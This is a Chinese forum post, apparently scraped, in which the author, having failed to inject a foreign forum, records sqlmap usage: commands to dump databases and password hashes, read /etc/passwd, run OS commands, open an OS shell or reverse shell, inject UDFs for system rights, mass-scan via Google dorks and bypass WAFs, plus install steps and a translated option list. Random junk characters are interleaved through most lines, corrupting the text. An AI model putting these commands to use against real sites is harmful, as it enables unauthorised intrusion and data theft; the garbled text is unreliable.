今天搞国外的一个论坛。发现萝卜和穿山甲都无法正常注入,实在没办法了 还是临时学习了下国外的神器sqlmap的使用方法,,直接做个记录、、
$ g6 D% F1 t# b4 |% F3 wsqlmap -u “http://url/news?id=1″ –current-user #获取当前用户名称sqlmap -u “http://www.xxoo.com/news?id=1″ –current-db #获取当前数 据库名称
2 |$ {7 W/ a1 Y& V/ u5 e8 usqlmap -u “http://www.xxoo.com/news?id=1″ –tables -D “db_name”#列 表名# v* J+ P* j( H9 N
sqlmap -u “http://url/news?id=1″ –columns -T “tablename”users-D “db_name”-v 0 #列字段
, Q9 o4 u8 s8 t
& f- Q1 N6 E; Ssqlmap -u “http://url/news?id=1″ –dump -C “column_name” -T “table_name”-D “db_name”-v) L; I# p7 R, }! z8 x4 T& S
0 #获取字段内容
5 ]4 m4 ^: t* @/ s: d: W, M
7 d/ R1 B, M2 [' K" e******************信息获取******************9 w- [& _! X+ J! y: N, N
sqlmap -u “http://url/news?id=1″ –dbms “Mysql” –users # dbms 指定数 据库类型$ ?( o8 w! i' M+ b# a2 O
sqlmap -u “http://url/news?id=1″ –users #列数据库用户" P3 G* _, F. V2 \" `
sqlmap -u “http://url/news?id=1″ –dbs#列数据库! L* z) k8 [; q2 Y% E+ _( M8 T; V
sqlmap -u “http://url/news?id=1″ –passwords #数据库用户密码1 N% } X$ B$ p6 Q
sqlmap -u “http://url/news?id=1″ –passwords-U root -v 0 #列出指定用户 数据库密码% i" F5 u9 M0 D. v
sqlmap -u “http://url/news?id=1″ –dump -C “password,user,id” -T “tablename”-D “db_name”# D/ L2 G+ A/ @
–start 1 –stop 20 #列出指定字段,列出20 条4 g; J9 G, n* c" h1 [- L
sqlmap -u “http://url/news?id=1″ –dump-all -v 0 #列出所有数据库所有表: _. L$ z8 o; d. P: C$ }7 h6 c
sqlmap -u “http://url/news?id=1″ –privileges #查看权限
) H+ X; a4 t9 g1 psqlmap -u “http://url/news?id=1″ –privileges -U root #查看指定用户权限sqlmap -u “http://url/news?id=1″ –is-dba -v 1 #是否是数据库管理员sqlmap -u “http://url/news?id=1″ –roles #枚举数据库用户角色
, B+ f) L, w1 B- `+ I# S. usqlmap -u “http://url/news?id=1″ –udf-inject #导入用户自定义函数(获取 系统权限!)2 q/ I: L2 q1 f, p" O, p3 ~
sqlmap -u “http://url/news?id=1″ –dump-all –exclude-sysdbs -v 0 #列 出当前库所有表; y1 I1 Y6 w# f# z9 k Z- v% j
sqlmap -u “http://url/news?id=1″ –union-cols #union 查询表记录1 |3 }# H4 ?* Y4 s
sqlmap -u “http://url/news?id=1″ –cookie “COOKIE_VALUE”#cookie注入+ f; x3 Q6 `# J8 c, e# z
sqlmap -u “http://url/news?id=1″-b #获取banner信息% R `" E2 _1 u) ~8 W. ]/ l* F
sqlmap -u “http://url/news?id=1″ –data “id=3″#post注入
4 G, h2 M" ]/ qsqlmap -u “http://url/news?id=1″-v 1 -f #指纹判别数据库类型. ? p- n G1 r2 Y" q/ K" M
sqlmap -u “http://url/news?id=1″ –proxy“http://127.0.0.1:8118” #代理注 入$ n/ d- }5 F3 C5 c/ s! z7 e
sqlmap -u “http://url/news?id=1″–string”STRING_ON_TRUE_PAGE”# 指 定关键词
( ~0 x$ L8 j( Nsqlmap -u “http://url/news?id=1″ –sql-shell #执行指定sql命令
8 X1 ?: Q: @) P( V% m0 ~sqlmap -u “http://url/news?id=1″ –file /etc/passwd0 {7 ^$ j7 \- \2 V6 t+ L
sqlmap -u “http://url/news?id=1″ –os-cmd=whoami #执行系统命令4 D1 Y# d Q) u
sqlmap -u “http://url/news?id=1″ –os-shell #系统交互shell sqlmap -u “http://url/news?id=1″ –os-pwn #反弹shell2 G0 ?: p( \( p3 k. e. p; e
sqlmap -u “http://url/news?id=1″ –reg-read #读取win系统注册表
6 q0 Y# Q( M, N, I6 d2 G Asqlmap -u “http://url/news?id=1″ –dbs-o “sqlmap.log”#保存进度
2 M- H- m3 K* m! s' Q3 \* [sqlmap -u “http://url/news?id=1″ –dbs -o “sqlmap.log” –resume #恢复 已保存进度
7 X# m& a8 N2 W7 w) b- O6 e- m+ P9 `" j***********高级用法*************
( A, t4 T8 X% K, V- M" Z5 O2 c-p name 多个参数如index.php?n_id=1&name=2&data=2020 我们想指定name参数进行注入
* i& V2 Z; |' v( y, @, a9 |- ^sqlmap -g “google语法” –dump-all –batch #google搜索注入点自动 跑出 所有字段 需保证google.com能正常访问
2 q/ R4 ?6 q1 f+ u" F; w–technique 测试指定注入类型\使用的技术/ j, q3 b- w9 h
不加参数默认测试所有注入技术% f" m: l2 Z# \# ^0 |
• B: 基于布尔的SQL 盲注- z( A+ j; T) c+ E' O8 o/ D
• E: 基于显错sql 注入
7 w! t" Y3 w* o! {2 @• U: 基于UNION 注入4 _' B7 x- ?; f. p& U
• S: 叠层sql 注入) u* O2 g8 z, p, O6 I. i0 U
• T: 基于时间盲注
2 }0 }5 k! r. y7 e1 T; h' M–tamper 通过编码绕过WEB 防火墙(WAF)Sqlmap 默认用char()
2 E' _4 X+ W) p' N- s1 e, l! d, p8 }/ }–tamper 插件所在目录. D9 I9 j4 M7 ^: ^
\sqlmap-dev\tamper
( L2 E, ]" r. I) O5 {sqlmap -u “http:// www.2cto.com /news?id=1″ –smart –level 3 –users # smart 智 能
* K. ]! ~& f% Y3 X+ L' B9 E5 Mlevel 执行测试等级 攻击实例:
+ u3 \1 V, y$ `, m! @Sqlmap -u “http://url/news?id=1&Submit=Submit”
# {. }3 O- e; @- s& U–cookie=”PHPSESSID=41aa833e6d0d
7 E1 H. `. u8 \5 w28f489ff1ab5a7531406″ –string=”Surname” –dbms=mysql –user& u& ~& e+ g& ]0 j9 R
–password2 E# a! w* t2 E' q) w' g. S
参考文档:http://sqlmap.sourceforge.net/doc/README.html
# ?- @, J. v2 K7 {***********安装最新版本*************4 J! y- f# r: j4 q! Y1 s
ubuntu 通过apt-get install 安装的sqlmap版本为0.6 我们通过svn 来安装 为 最新1.0版3 c1 d- g' ]4 I$ Y1 S
sudo svn checkout https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev$ t; A% @( m% \) K5 p
安装的位置为:/home/当前用户/sqlmap-dev/sqlmap.py 直接执行/home/当前用户/sqlmap-dev/sqlmap.py –version 这样很不方便 我们可以设置.bashrc 文件
* m7 O, l5 x$ A( \% t* Hsudo vim /home/当前用户/.bashrc
8 `+ m4 H& g* G+ D#任意位置加上:
6 S/ a Q7 p+ x/ U [6 C* @- Ialias sqlmap=’python /home/seclab/sqlmap-dev/sqlmap.py’ 该环境变量只对当前用户有效( L5 ?$ E! x9 I8 J; T) b, Q
如果想对所有用户有效 可设置全局 编辑下面的文件4 y- y7 e. q4 H+ w1 B/ s
vim /etc/profile/ h c# { Z" j7 \, Q
同样加上:
# j5 s+ ]4 M2 }' f# jalias sqlmap=’python /home/seclab/sqlmap-dev/sqlmap.py’ 重启生效
: _8 {6 `$ x7 P7 U( r******************windows 7 (x64) sqlmap install (SVN)************
2 Y2 c1 b& E- ]* Yhttp://www.python.org/getit/ 安装python6 l# H5 c1 b; }2 t6 d& p
http://www.sliksvn.com/en/download 安装windows svn client: d" b4 j# s, I( R
svn checkout https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev
( a- _ d* g% i! d7 ^, H安装sqlmap
2 s. S- N5 g1 s2 J9 z7 [- k*修改环境变量
" ^: j* c* r2 }. ?–version 显示程序的版本号并退出
0 r" Q+ `6 n; X- k$ `-h, –help 显示此帮助消息并退出; C. \7 Z. ~' V/ g0 t
-v VERBOSE 详细级别:0-6(默认为1)
% q6 D; Q3 } n8 tTarget(目标): 以下至少需要设置其中一个选项,设置目标URL。
3 {' E' n/ P& I4 r2 e-d DIRECT 直接连接到数据库。- H9 D9 G# G# U! o
-u URL, –url=URL 目标URL。9 l, z) g/ ~# ^3 |& y' b
-l LIST 从Burp 或WebScarab 代理的日志中解析目标。! x* |& S: P3 s P6 j2 u
-r REQUESTFILE 从一个文件中载入HTTP 请求。
% t J+ w8 K- q* H4 F0 Q7 U& ]; j-g GOOGLEDORK 处理Google dork 的结果作为目标URL。
0 A3 f& b9 X9 j4 p( p/ x* c% p7 U-c CONFIGFILE 从INI 配置文件中加载选项。
; ^' ?- _1 ^" b/ Z/ L3 m9 |Request(请求)::
& O+ m/ u" e. D3 |$ _8 l9 C z- B @7 P这些选项可以用来指定如何连接到目标URL。4 B9 q x% l5 J$ {/ P
–data=DATA 通过POST 发送的数据字符串9 h& L- ~2 g7 ?5 z+ @
–cookie=COOKIE HTTP Cookie 头0 d/ i. r8 t; O" l& m1 A
–cookie-urlencode URL 编码生成的cookie 注入4 G% F/ ]7 s/ u$ H+ S1 D8 m/ L! z
–drop-set-cookie 忽略响应的Set –Cookie 头信息 ]$ a5 k5 V' x- ~( v, ]! w
' d' H P1 g8 j: f2 ]7 \
–user-agent=AGENT 指定 HTTP User –Agent 头' v5 ~. n0 {7 F4 Z# }$ D
–random-agent 使用随机选定的HTTP User –Agent 头
, i0 [( a1 X+ c8 _7 q8 Z3 `–referer=REFERER 指定 HTTP Referer 头8 s$ e" ] j2 e7 q* ?8 e
–headers=HEADERS 换行分开,加入其他的HTTP 头
, l8 \5 n9 J$ A {–auth-type=ATYPE HTTP 身份验证类型(基本,摘要或NTLM)(Basic, Digest or NTLM)# w! m4 I! g$ B3 w0 Q# ?4 w+ i
–auth-cred=ACRED HTTP 身份验证凭据(用户名:密码)' a+ k6 _; p/ J; R3 C$ t
–auth-cert=ACERT HTTP 认证证书(key_file,cert_file)
# e3 g9 f: ~' B3 E: x–proxy=PROXY 使用HTTP 代理连接到目标URL( a5 i" |; ?* G, W( q, C' X( D- ?
–proxy-cred=PCRED HTTP 代理身份验证凭据(用户名:密码); v/ }: X6 J: c) A x
–ignore-proxy 忽略系统默认的HTTP 代理+ y1 b& ]- }/ `% N' Z
–delay=DELAY 在每个HTTP 请求之间的延迟时间,单位为秒
# K$ Z7 {$ `$ T6 V6 i–timeout=TIMEOUT 等待连接超时的时间(默认为30 秒)& b5 Z( N m' ?' X
–retries=RETRIES 连接超时后重新连接的时间(默认3)
6 z. i( `% ?# y% j( R–scope=SCOPE 从所提供的代理日志中过滤器目标的正则表达式
" V: R7 [8 c& }& z1 ^' m3 y5 _7 Y–safe-url=SAFURL 在测试过程中经常访问的url 地址
; V; D6 ^" u' C–safe-freq=SAFREQ 两次访问之间测试请求,给出安全的URL. r7 m7 Q4 O1 O
Optimization(优化): 这些选项可用于优化SqlMap 的性能。6 Q' {, Z. q* f. a
-o 开启所有优化开关
7 { T- K6 {! Z2 J4 N. j) r) b–predict-output 预测常见的查询输出
~5 F* j \9 {! H* d–keep-alive 使用持久的HTTP(S)连接
6 K/ i/ H- N7 h7 W7 l* f' n! @–null-connection 从没有实际的HTTP 响应体中检索页面长度 b9 \1 l. ~' l* U
–threads=THREADS 最大的HTTP(S)请求并发量(默认为1)
+ t5 [8 T& U$ u3 \6 `- M8 `Injection(注入):
" F: A% n: H7 Q这些选项可以用来指定测试哪些参数, 提供自定义的注入payloads 和可选篡改脚本。; |0 c. N2 w6 A! t2 e+ n5 J
-p TESTPARAMETER 可测试的参数(S)
+ j# o @: v4 v; {* [–dbms=DBMS 强制后端的DBMS 为此值1 a9 m; `. v- r0 M0 {0 q
–os=OS 强制后端的DBMS 操作系统为这个值' j/ V5 D; @. T3 M
–prefix=PREFIX 注入payload 字符串前缀6 N2 c# p/ n6 ^( G/ p
–suffix=SUFFIX 注入 payload 字符串后缀
. M$ h2 Y* W. _5 N% b% W–tamper=TAMPER 使用给定的脚本(S)篡改注入数据0 N) T9 ~" F3 y
Detection(检测):. i; X) e' L" M
这些选项可以用来指定在SQL 盲注时如何解析和比较HTTP 响应页面的内容。
. } }( c' [0 g+ o8 Q* Q! i–level=LEVEL 执行测试的等级(1-5,默认为1)
% l2 \+ L# s6 ]6 D8 M j* k+ E- Y–risk=RISK 执行测试的风险(0-3,默认为1)9 Y: \# p$ A: O5 z% G! h* K
–string=STRING 查询时有效时在页面匹配字符串
. g0 |* a8 n) a+ z6 b–regexp=REGEXP 查询时有效时在页面匹配正则表达式( |/ l( u6 ~1 j3 r& R- _' F% v0 n6 N5 _# j8 ^
–text-only 仅基于在文本内容比较网页; H* v' A- N3 e4 Y$ n' Q$ c: m
Techniques(技巧): 这些选项可用于调整具体的SQL 注入测试。5 K2 b3 ]2 q; _
–technique=TECH SQL 注入技术测试(默认BEUST)
6 K0 k2 j1 K% I5 `7 V( n–time-sec=TIMESEC DBMS 响应的延迟时间(默认为5 秒)
3 G1 h0 j, ?: [, |& v; {–union-cols=UCOLS 定列范围用于测试UNION 查询注入! | x8 m5 |: |. ^0 Z5 n
–union-char=UCHAR 用于暴力猜解列数的字符% A- ~& \7 d- ^ n2 O0 F
Fingerprint(指纹):' Z# W N- i. S' |, O
-f, –fingerprint 执行检查广泛的DBMS 版本指纹, o" e- V& ]: _0 F' L5 }
Enumeration(枚举):
0 l5 ^# I4 c [$ D. p% C
" c6 |$ k! v7 K; @; m0 v这些选项可以用来列举后端数据库管理系统的信息、表中的结构和数据。此外,您还可以运行您自己 的SQL 语句。
k k# r. n' [5 V. A-b, –banner 检索数据库管理系统的标识' I- G$ q- e- h! v# H3 D/ p
–current-user 检索数据库管理系统当前用户
6 @! R- C, e F# \0 h–current-db 检索数据库管理系统当前数据库7 g) k; l7 ?- w
–is-dba 检测DBMS 当前用户是否DBA- k2 T8 L" _4 N& W% w
–users 枚举数据库管理系统用户
6 Q7 T l# A& ^2 b% u# @' I3 e–passwords 枚举数据库管理系统用户密码哈希
/ z; ]% b. B/ D' v: R2 `–privileges 枚举数据库管理系统用户的权限$ |5 O) V/ L, C3 F
–roles 枚举数据库管理系统用户的角色* p; B6 [* o3 Z7 M, _( V2 i/ N
–dbs 枚举数据库管理系统数据库
2 f- O( u& V& G! D% X( d) e. z–tables 枚举的DBMS 数据库中的表 v( Y) ?. k$ T$ M6 l
–columns 枚举DBMS 数据库表列
6 S& V$ E7 `7 A+ Q–dump 转储数据库管理系统的数据库中的表项
% E% ?5 Y @/ t ~–dump-all 转储所有的DBMS 数据库表中的条目0 ]7 n8 d7 r, K. ?- Q. c
–search 搜索列(S),表(S)和/或数据库名称(S)
) T% s, ]' S- ~0 M-D DB 要进行枚举的数据库名" E9 A3 J N6 u4 \( ?+ Q8 `
-T TBL 要进行枚举的数据库表: W# n; }, Q x+ K. d. x
-C COL 要进行枚举的数据库列! Y- N9 B: O$ g& f3 R
-U USER 用来进行枚举的数据库用户
! f3 l2 O' F. g8 h y7 z t( v- C' h–exclude-sysdbs 枚举表时排除系统数据库
" Q8 r* P3 C$ k6 ~* B0 l0 s; s–start=LIMITSTART 第一个查询输出进入检索
# d" B5 y! s, U–stop=LIMITSTOP 最后查询的输出进入检索" p; X. g2 M( r* {2 J u
–first=FIRSTCHAR 第一个查询输出字的字符检索
9 `! u/ @6 i0 O3 b) s0 p% _–last=LASTCHAR 最后查询的输出字字符检索
f+ g/ n( n4 v: o9 F& i2 r–sql-query=QUERY 要执行的SQL 语句
% F! T$ |2 [8 s( |( z–sql-shell 提示交互式SQL 的shell. ~. q( ^) @$ X3 d a8 I. x
Brute force(蛮力): 这些选项可以被用来运行蛮力检查。
; H& p! e' w. G5 L% q2 v–common-tables 检查存在共同表& v% ~9 Q+ I( b5 f1 f
–common-columns 检查存在共同列
" z6 t0 i# U/ \9 @User-defined function injection(用户自定义函数注入): 这些选项可以用来创建用户自定义函数。
/ Y- e. w+ y1 l' P- C% C9 j–udf-inject 注入用户自定义函数
7 v. L2 B! `* y' Y–shared-lib=SHLIB 共享库的本地路径2 y# r O( I. G. P
File system access(访问文件系统): 这些选项可以被用来访问后端数据库管理系统的底层文件系统。
- T# b4 \! S& S- T: V–file-read=RFILE 从后端的数据库管理系统文件系统读取文件6 d4 i `0 O+ [: v
–file-write=WFILE 编辑后端的数据库管理系统文件系统上的本地文件
$ x: Z# [7 g+ S6 V C. `+ n# W–file-dest=DFILE 后端的数据库管理系统写入文件的绝对路径8 N7 _: m7 z2 N7 k# ~
Operating system access(操作系统访问): 这些选项可以用于访问后端数据库管理系统的底层操作系统。
& G9 e! x* |7 [/ p: |; W: l–os-cmd=OSCMD 执行操作系统命令! D6 v" i s$ R/ G
–os-shell 交互式的操作系统的shell
1 f# |$ D$ K& i9 A–os-pwn 获取一个OOB shell,meterpreter 或VNC
9 b# H/ X% b' I–os-smbrelay 一键获取一个OOB shell,meterpreter 或VNC. R) B( r. @: S. w4 F" F8 K
–os-bof 存储过程缓冲区溢出利用( k5 X. a! M# ~( [9 c+ x$ u
–priv-esc 数据库进程用户权限提升
l' H$ p% r6 \6 t3 Y" F3 M0 x% l–msf-path=MSFPATH Metasploit Framework 本地的安装路径
* {3 j2 Z& Q: n; L5 G8 A L1 @) i–tmp-path=TMPPATH 远程临时文件目录的绝对路径1 ^$ d; `% I/ m' x! j" j2 w
1 ~8 H# x$ L# i
Windows 注册表访问: 这些选项可以被用来访问后端数据库管理系统Windows 注册表。5 q* m' X4 k) @8 u2 l3 l# }* z
–reg-read 读一个Windows 注册表项值6 b8 X# u+ P" f- B8 m
–reg-add 写一个Windows 注册表项值数据/ @9 t, L) B4 N9 R" }- l. a) K
–reg-del 删除Windows 注册表键值
- [2 J/ g; x4 n' G* ]7 u( U9 Y–reg-key=REGKEY Windows 注册表键
4 L3 ?9 t& h0 w1 `–reg-value=REGVAL Windows 注册表项值
8 C/ ]4 e) _ n, f; p1 K. D–reg-data=REGDATA Windows 注册表键值数据
! i' m( ?9 S) L3 }0 ~–reg-type=REGTYPE Windows 注册表项值类型9 q, X9 I/ c( p
General(一般): 这些选项可以用来设置一些一般的工作参数。) _( r. K e, O# m
-t TRAFFICFILE 记录所有HTTP 流量到一个文本文件中
9 v2 Q9 |1 n4 Q" @; r/ A/ O7 [-s SESSIONFILE 保存和恢复检索会话文件的所有数据
) U6 K* Y" s$ ^% R–flush-session 刷新当前目标的会话文件
9 z+ W% l2 Y8 k–fresh-queries 忽略在会话文件中存储的查询结果4 j s$ S: P0 x: G
–eta 显示每个输出的预计到达时间 Z6 h, K1 k, X' _+ x( i
–update 更新SqlMap
2 I) L' @4 |3 _6 y9 b- _- y–save file 保存选项到INI 配置文件
+ H! A3 i T9 c3 U8 T–batch 从不询问用户输入,使用所有默认配置。
7 o8 l! ?! [/ S% Q- o( L! xMiscellaneous(杂项):1 y" t+ @0 h; @9 ^ |
–beep 发现SQL 注入时提醒
' u7 ^0 o0 F. K& L C; z: y+ o: X2 W–check-payload IDS 对注入payloads 的检测测试/ u5 \0 C& \+ x( t* Q
–cleanup SqlMap 具体的UDF 和表清理DBMS
# Z8 [: a; A2 j( ?- i7 x- X–forms 对目标URL 的解析和测试形式! ]5 }. _! t% B$ s, U
–gpage=GOOGLEPAGE 从指定的页码使用谷歌dork 结果3 P; y4 S/ ]! E2 a [
–page-rank Google dork 结果显示网页排名(PR)! z% [4 U5 k/ }, i/ }3 t* u7 n8 ?
–parse-errors 从响应页面解析数据库管理系统的错误消息
. i* i# V3 s8 x& e–replicate 复制转储的数据到一个sqlite3 数据库0 V8 {) p9 I9 c) A3 V4 K2 r
–tor 使用默认的Tor(Vidalia/ Privoxy/ Polipo)代理地址! I* ^2 ?1 k. ^2 H5 |
–wizard 给初级用户的简单向导界面 |